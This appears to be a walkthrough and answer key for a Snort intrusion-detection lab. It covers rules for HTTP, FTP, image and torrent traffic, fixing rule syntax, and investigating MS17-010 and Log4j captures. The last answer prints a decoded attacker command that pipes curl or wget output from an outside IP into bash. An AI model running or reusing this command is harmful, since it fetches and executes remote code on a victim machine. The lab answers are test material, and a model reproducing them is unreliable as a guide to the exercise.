# Snort Challenge - The Basics

### <mark style="color:red;">**Writing IDS Rules (HTTP)**</mark>

***Write rules to detect "all TCP port 80 traffic" packets in the given pcap file.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F5ycarvRYBspg3vk64bUi%2Fimage.png?alt=media&#x26;token=22237944-8718-4357-97f8-8e0f4bfaa69a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FBEZtBEwpW4BRuLTBbqbL%2Fimage.png?alt=media&#x26;token=beee3d19-31fa-4366-b87d-441f0e445ccc" alt=""><figcaption></figcaption></figure>

Setting the alerts to be directional, will add packets for inbound and outbound traffic.

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FBjOQVvMuOF9IJYfDJLjx%2Fimage.png?alt=media&#x26;token=fc556cde-5b46-47a7-ac11-91159f07d5ca" alt=""><figcaption><p>Command to create snort log using local rules</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FoFZ3BaBpGM7gF3TdYv8y%2Fimage.png?alt=media&#x26;token=f3acedf5-4737-4faf-8dc9-698542c12d00" alt=""><figcaption><p>328</p></figcaption></figure>

***What is the number of detected packets?***

328

***What is the destination address of packet 63?***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FCfVznz2aq0x678Dj82ya%2Fimage.png?alt=media&#x26;token=7c5dfbe8-08ae-4ee6-9c98-b781553b06ec" alt=""><figcaption><p>Command to analyze up to packet 63</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FRkeKC50duXw6Y9CyB1rl%2Fimage.png?alt=media&#x26;token=26c8eae5-5982-4b6e-ad9b-060be40b041c" alt=""><figcaption><p>145.254.160.237</p></figcaption></figure>

***What is the ACK number of packet 64?***

0x38AFFFF3

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FhYDplU6Rh97fOZtB35GR%2Fimage.png?alt=media&#x26;token=fc209721-b481-45b9-bfe1-d8b81a1c57cb" alt=""><figcaption><p>Command to analyze up to packet 64</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FZv5XGf9XaogDmVCnCv9R%2Fimage.png?alt=media&#x26;token=a557b25a-274a-4b94-9fd0-6c82c1913c40" alt=""><figcaption><p>0x38AFFFF3</p></figcaption></figure>

***What is the SEQ number of packet 62?***

0x38AFFFF3

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FyzJelcJSjPQoH7v9f3NX%2Fimage.png?alt=media&#x26;token=a811c867-2fd8-40ec-a798-293819f8a8f4" alt=""><figcaption><p>Command to analyze up to packet 62</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpTW8lsPvdfmnnrazEAAg%2Fimage.png?alt=media&#x26;token=fb5830ff-633d-47c5-bacf-0f623a79840a" alt=""><figcaption><p>0x38AFFFF3</p></figcaption></figure>

***What is the TTL of packet 65?***

128

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F9PLmLEfAtXszJcDI2D9b%2Fimage.png?alt=media&#x26;token=2c33bd09-4a54-45e7-ab9e-f8224b7a18f8" alt=""><figcaption><p>Command to analyze up to packet 65</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fh8iRaG3uFfrUPzuu9Mps%2Fimage.png?alt=media&#x26;token=360aa879-7b26-439c-8288-c15e8db1b408" alt=""><figcaption><p>128</p></figcaption></figure>

***What is the source IP of packet 65?***

145.254.160.237

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FHuhr5ajJ9agvj8URtPKv%2Fimage.png?alt=media&#x26;token=94eb7489-08d0-40f6-8dab-15947f496380" alt=""><figcaption><p>145.254.160.237</p></figcaption></figure>

***What is the source port of packet 65?***

3372

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FlJUH9sWEcfQb2Fo0zOAg%2Fimage.png?alt=media&#x26;token=ebf0ae94-48cf-4cfb-9ec5-2cb21f92110c" alt=""><figcaption><p>3372</p></figcaption></figure>

### <mark style="color:red;">Writing IDS Rules (FTP)</mark>

***Write rules to detect "all TCP port 21"  traffic in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F85xGr28qbcMtw0a97z6F%2Fimage.png?alt=media&#x26;token=ca9e4bd3-fbe0-4883-b03c-18fe6987493c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F8uP94DAED333OMF3laaU%2Fimage.png?alt=media&#x26;token=5a3be816-000e-4185-8a8a-8fcbcab7cf21" alt=""><figcaption><p>FTP ALERTS</p></figcaption></figure>

***What is the number of detected packets?***

614

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FHjqR93SXqoz1K9g3ddDk%2Fimage.png?alt=media&#x26;token=f7a6f4b5-06cc-46de-b45f-48930c8e66ed" alt=""><figcaption><p>Command to create Snort log</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FmQ4x5GIuiyZzFBpuZRGJ%2Fimage.png?alt=media&#x26;token=0581319f-c727-4774-a53f-4b31df115098" alt=""><figcaption><p>614</p></figcaption></figure>

***What is the FTP service name?***

Microsoft FTP Service

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpEEG8q4Bq1rodjuV7Odd%2Fimage.png?alt=media&#x26;token=2901407f-6082-4dc3-8fa6-57c7feeb6a06" alt=""><figcaption><p>grepping for FTP return code "Service Ready"</p></figcaption></figure>

***Write a rule to detect failed FTP login attempts in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F50kpsYHnWPQKA1q4JRJb%2Fimage.png?alt=media&#x26;token=4cf73dd2-16c7-4d4a-9d2f-50b2a5d02be5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FZaxyph7PM8rbg5RYkjBo%2Fimage.png?alt=media&#x26;token=404ebf60-2764-4da1-bbba-bb254785fb9d" alt=""><figcaption></figcaption></figure>

***What is the number of detected packets?***

41

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fvl95GEgeDA4PsmymdLcx%2Fimage.png?alt=media&#x26;token=98cad751-73fa-4193-b193-54eb3c8e4ea2" alt=""><figcaption><p>41</p></figcaption></figure>

***Write a rule to detect successful FTP logins in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FvEXaZoGKHHSnl8pIAH7M%2Fimage.png?alt=media&#x26;token=006a96fd-4642-4231-a058-b64d3fb6752e" alt=""><figcaption></figcaption></figure>

***What is the number of detected packets?***

1

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F0k3nYx2pDpKo0SFzAwS4%2Fimage.png?alt=media&#x26;token=17e47a8b-e1db-4867-a5cb-70dac365f73b" alt=""><figcaption><p>1</p></figcaption></figure>

***Write a rule to detect failed FTP login attempts with a valid username but a bad password or no password.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FzAonaob2dtyGNmI7PIhQ%2Fimage.png?alt=media&#x26;token=a1cdf178-8c13-4984-894c-aa561d442627" alt=""><figcaption></figcaption></figure>

***What is the number of detected packets?***

42

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FxjKLLogKSel0Kq1Vu5dL%2Fimage.png?alt=media&#x26;token=b5ef9757-f72e-4128-9117-dc6792a8c89d" alt=""><figcaption><p>42</p></figcaption></figure>

***Write a rule to detect failed FTP login attempts with "Administrator" username but a bad password or no password.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fq4rJCzRsFopnhH4jMZWq%2Fimage.png?alt=media&#x26;token=5cf86274-9f2d-4ea3-8e25-3f17d754cdcb" alt=""><figcaption><p>alert tcp any any &#x3C;> any 21 (msg: "Failed Admin Login Attempt"; content:"Administrator"; content:"331 Password"; sid: 100005; rev: 1;)</p></figcaption></figure>

***What is the number of detected packets?***

7

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FVmvmzKAd6roQ7l07Jxxg%2Fimage.png?alt=media&#x26;token=ab424afa-d7e1-46b9-a354-034f51904dfd" alt=""><figcaption></figcaption></figure>

### <mark style="color:red;">Writing IDS Rules (PNG)</mark>

***Write a rule to detect the PNG file in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FU02LB5iglX8ZVsjot6XT%2Fimage.png?alt=media&#x26;token=3b01ba1e-89fa-487d-b060-31daf14982c3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fba3Gd32OJxoHlKONFSav%2Fimage.png?alt=media&#x26;token=15df4d19-d2af-4b05-a198-b5bb809f8810" alt=""><figcaption><p>List PNG file signature for content</p></figcaption></figure>

***Investigate the logs and identify the software name embedded in the packet.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FLr2BT69a2qVathVIVGl0%2Fimage.png?alt=media&#x26;token=e506160b-4b48-4b91-9a93-62522a14bc1d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F2wSmF5z8QNX6gBk23kBh%2Fimage.png?alt=media&#x26;token=9a864dff-b757-4fa2-8ada-010b013c7ed4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FBgqcCmpHSdpdmAb5Amdw%2Fimage.png?alt=media&#x26;token=6178e6a0-b8f9-4b94-a052-54007c4bbadf" alt=""><figcaption><p>Adobe Image Ready</p></figcaption></figure>

***Write a rule to detect the GIF file in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FfK3nWM4mhDn9T30cFzc5%2Fimage.png?alt=media&#x26;token=6432872d-b602-403d-b63f-8030f4db8118" alt=""><figcaption><p>List GIF file signature for content</p></figcaption></figure>

***Investigate the logs and identify the image format embedded in the packet.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FUTKOHjHNh21XObFagDtN%2Fimage.png?alt=media&#x26;token=f2b27ff7-fc7c-4d9d-86c3-52ee64711e6d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FqzKWLqQjzG5pllVuH4Uw%2Fimage.png?alt=media&#x26;token=7875c995-22eb-4209-b099-8c9ce56367fd" alt=""><figcaption><p>GIF98a</p></figcaption></figure>

### <mark style="color:red;">Writing IDS Rules (Torrent Metafile)</mark>

***Write a rule to detect the torrent metafile in the given pcap.***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F9ovcqKqc8j9QMTwLFwZL%2Fimage.png?alt=media&#x26;token=a93686d7-29b9-4b5e-8514-0093e893fa84" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FFl7H66j67oVPg8CGX3O5%2Fimage.png?alt=media&#x26;token=cc2f0542-e73b-4028-aa11-7fca75559385" alt=""><figcaption></figcaption></figure>

***What is the number of detected packets?***

2

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FTDVecktDv1TKXdKFxEPH%2Fimage.png?alt=media&#x26;token=60f8e97f-0e43-4cac-906e-42988fcd00b5" alt=""><figcaption></figcaption></figure>

\
\&#xNAN;***Investigate the log/alarm files.***

***What is the name of the torrent application?***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FkMVaMd2MlKWjLdNsh1KJ%2Fimage.png?alt=media&#x26;token=4a25e9ca-deb2-4845-8b5d-c4b8897ef7b1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FbJOPWjrZD8hV2mrXCTng%2Fimage.png?alt=media&#x26;token=feb6034c-fc52-44e1-b6a6-1b7192c31f7d" alt=""><figcaption><p>bittorrent</p></figcaption></figure>

***What is the MIME (Multipurpose Internet Mail Extensions) type of the torrent metafile?***

application/x-bittorrent

***What is the hostname of the torrent metafile?***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FJ9ISDrrNFZwxQzwMY61r%2Fimage.png?alt=media&#x26;token=88715a3c-5d9b-4688-afe2-798b6a478ce0" alt=""><figcaption><p>tracker2.torrentbox.com</p></figcaption></figure>

### <mark style="color:red;">Troubleshooting Rule Syntax Errors</mark>

***Fix the syntax errors in the given rule files.***&#x20;

***Test each ruleset with the following command structure;***

`sudo snort -c local-X.rules -r mx-1.pcap -A console`

***Fix the syntax error in local-1.rules file and make it work smoothly.***

***What is the number of the detected packets?***

16

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FUvN1wQmBOSAfaczOpfFJ%2Fimage.png?alt=media&#x26;token=d622af22-3231-4afd-bc1f-84fe10861e20" alt=""><figcaption><p>any(msg: </p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FmAmeCFDH1Vo5miLEPYoH%2Fimage.png?alt=media&#x26;token=30eb7dff-451b-4c02-a93b-aa9d657d83c3" alt=""><figcaption><p>any (msg: </p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F0uDQRtOOhHdwc8Bg7yqJ%2Fimage.png?alt=media&#x26;token=243a7680-b5df-4c69-895e-84c299cfd8e3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FhC4yrbIn5f6FXc6TkyAp%2Fimage.png?alt=media&#x26;token=7c4fb813-c68f-4585-b5df-7fb690d2bb9a" alt=""><figcaption><p>sid: 1000001</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpZ4v87l7dH20MXeuRpD4%2Fimage.png?alt=media&#x26;token=cd21e104-dbcd-4116-a7cf-42b727920a27" alt=""><figcaption><p>16</p></figcaption></figure>

After changing the command to: `sudo snort -c local-1.rules -dev -l . -r mx-1.pcacp -A console` the snort rule ran successfully

***Fix the syntax error in local-2.rules file and make it work smoothly.***

***What is the number of the detected packets?***

68

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FCop4mEriJ388jBxmS6v6%2Fimage.png?alt=media&#x26;token=e056f3d1-ee75-4f1c-b199-1c0a756f71a2" alt=""><figcaption><p>Port value missing</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F18ySH3MCM8jCbL1NojRT%2Fimage.png?alt=media&#x26;token=bb40086f-0870-4429-af6a-2305557dd268" alt=""><figcaption><p>68</p></figcaption></figure>

***Fix the syntax error in local-3.rules file and make it work smoothly.***

***What is the number of the detected packets?***

87

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Ffg0gd8qXZ4xU2ekSNliS%2Fimage.png?alt=media&#x26;token=73e5482e-7327-45cb-ac97-27d339b269aa" alt=""><figcaption><p>GID SID in rule duplicates</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FkzBlBDkfzyr9AQExBn9E%2Fimage.png?alt=media&#x26;token=c419fcf5-51d6-44ff-b3b5-35e931022c39" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FPc1YfUjgMiNWcR4fXuqe%2Fimage.png?alt=media&#x26;token=ae1fa531-8ffd-43a1-baa8-eaaa27d8ebcb" alt=""><figcaption><p>87</p></figcaption></figure>

***Fix the syntax error in local-4.rules file and make it work smoothly.***

***What is the number of the detected packets?***

90

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpPDKsJYQxpcHnHk2zFwN%2Fimage.png?alt=media&#x26;token=c43fd272-d50c-4855-a775-ed08e7725b85" alt=""><figcaption><p>Unmatch quote in rule option 'msg'</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FKjvEpNObpRaU0408jLfc%2Fimage.png?alt=media&#x26;token=cf7d0e2c-aa17-4559-b93f-0fe67e9efa28" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FYRbYUSJU63dxBOOYQFC2%2Fimage.png?alt=media&#x26;token=9b54b562-17f7-4a7f-9a77-e67a5b3a808f" alt=""><figcaption><p>90</p></figcaption></figure>

***Fix the syntax error in local-5.rules file and make it work smoothly.***

***What is the number of the detected packets?***

155

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F5XBkpOYIZ1yfuZ6COmkI%2Fimage.png?alt=media&#x26;token=c8e51b5d-a54c-44f3-b09b-198cb8a49fd4" alt=""><figcaption><p>Illegal direction specifier</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2Fkre3jsHNdIxZKUTHty7G%2Fimage.png?alt=media&#x26;token=c49675a6-cb59-4658-a8b4-8e07dd957d87" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FrlY4bUbV36T1dG5ZGznZ%2Fimage.png?alt=media&#x26;token=048bfc67-fdf0-4452-83bf-1a9b70eff0a9" alt=""><figcaption><p>155</p></figcaption></figure>

***Fix the logical error in local-6.rules file and make it work smoothly to create alerts.***

***What is the number of the detected packets?***

2

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FXCgYrkxG3zVFGx2k5RJw%2Fimage.png?alt=media&#x26;token=fb2e16f2-7035-4df1-9c5d-4f2607fd4265" alt=""><figcaption><p>Change the direction to -> and the content in the rule to GET</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FhT5v5UmhFBC3b9xnnCgM%2Fimage.png?alt=media&#x26;token=9764a282-a107-426b-94fd-8617d5b00d71" alt=""><figcaption><p>2</p></figcaption></figure>

***Fix the logical error in local-7.rules file and make it work smoothly to create alerts.***

***What is the name of the required option?***

msg

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FpwVpkmTgVessrNfC5psE%2Fimage.png?alt=media&#x26;token=8896fc39-2b1c-4f76-a438-fb56fbb05c0e" alt=""><figcaption><p>alert does not have a msg set</p></figcaption></figure>

### <mark style="color:red;">Using External Rules (MS17-010)</mark>

***Use the given rule file (local.rules) to investigate the ms1710 exploitation.***

***What is the number of detected packets?***

25154

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F4OFMchNBHMd5WwcQzIMK%2Fimage.png?alt=media&#x26;token=fe21d157-3850-4861-bef4-22d7ac030c42" alt=""><figcaption><p>25154</p></figcaption></figure>

***Use local-1.rules empty file to write a new rule to detect payloads containing the "\IPC$" keyword.***

***What is the number of detected packets?***

12

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F8J5bgONpIQAHvKFjgS9k%2Fimage.png?alt=media&#x26;token=4e664be8-8fea-43ce-b392-4c00373bf638" alt=""><figcaption></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FATRib2SIDx6l7tvtz9k6%2Fimage.png?alt=media&#x26;token=72819f02-3acc-4cf9-ac10-4c7e2c25ea9f" alt=""><figcaption><p>Bad escape sequence</p></figcaption></figure>

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FYecsCGHw7VVArlt7fYwb%2Fimage.png?alt=media&#x26;token=41f96339-578b-4176-8fa9-1cc192e10d27" alt=""><figcaption><p>removed \ in conent</p></figcaption></figure>

***Investigate the log/alarm files.***

***What is the requested path?***

\\\192.168.116.138\IPC

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F2nNB9QcMgtI1qtSd69mT%2Fimage.png?alt=media&#x26;token=fc1f52bf-1e56-4be5-8fee-9bb2f92ad051" alt=""><figcaption><p>\\192.168.116.138\IPC</p></figcaption></figure>

***What is the CVSS v2 score of the MS17-010 vulnerability?***

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FhyHWFXqkEjZxzbJU1bET%2Fimage.png?alt=media&#x26;token=10c5e1bf-a0ad-4bf7-8eec-ea0962386a04" alt=""><figcaption><p><a href="https://www.tenable.com/plugins/nessus/97737">https://www.tenable.com/plugins/nessus/97737</a></p></figcaption></figure>

### <mark style="color:red;">Using External Rules (Log4j)</mark>

***Use the given rule file (local.rules) to investigate the log4j exploitation.***

***What is the number of detected packets?***

26

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FB9awQIdkjB6gkhMrZPEs%2Fimage.png?alt=media&#x26;token=6f7b49de-598e-408b-8c25-ed5f411dc750" alt=""><figcaption><p>26</p></figcaption></figure>

***Investigate the log/alarm files.***

***How many rules were triggered?***

4

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FRELN7Yp152eESdBujY1A%2Fimage.png?alt=media&#x26;token=2e07cb8c-9aac-45ce-8938-b48302aa307c" alt=""><figcaption></figcaption></figure>

Since all of the triggered alerts have the content of 210037xx, using grep to catch this pattern and combining the duplicated lines will provide the answer of 4 rules that were triggered.

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F1qYaiLf3aqJ8VtW722Ox%2Fimage.png?alt=media&#x26;token=fa678228-981a-43c4-a31a-c95855c2840b" alt=""><figcaption><p>4</p></figcaption></figure>

***Investigate the log/alarm files.***

***What are the first six digits of the triggered rule sids?***

210037

***Use local-1.rules empty file to write a new rule to detect packet payloads between 770 and 855 bytes.***

***What is the number of detected packets?***

41

\
\&#xNAN;***Investigate the log/alarm files.***

***What is the name of the used encoding algorithm?***

Base64

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2FNdS5xVmiTScTwUf0cwDc%2Fimage.png?alt=media&#x26;token=46fbd378-b1e6-442c-8c2e-cffbcf9b10a6" alt=""><figcaption><p>sudo snort -X -r snort.log.1681926058</p></figcaption></figure>

***Investigate the log/alarm files.***

***What is the IP ID of the corresponding packet?***

62808

<figure><img src="https://309112325-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FdUCUPJ7E8b7n8AB8j3ms%2Fuploads%2F3h3FYtJQusUtX7odN8Pa%2Fimage.png?alt=media&#x26;token=b8c2345b-92e6-4bb8-bb76-190b7293eefe" alt=""><figcaption></figcaption></figure>

\
\&#xNAN;***Investigate the log/alarm files.***

***Decode the encoded command.***

***What is the attacker's command?***

`(curl -s 45.155.205.233:5874/162.0.228.253:80||wget -q -O- 45.155.205.233:5874/162.0.228.253:80)|bash`

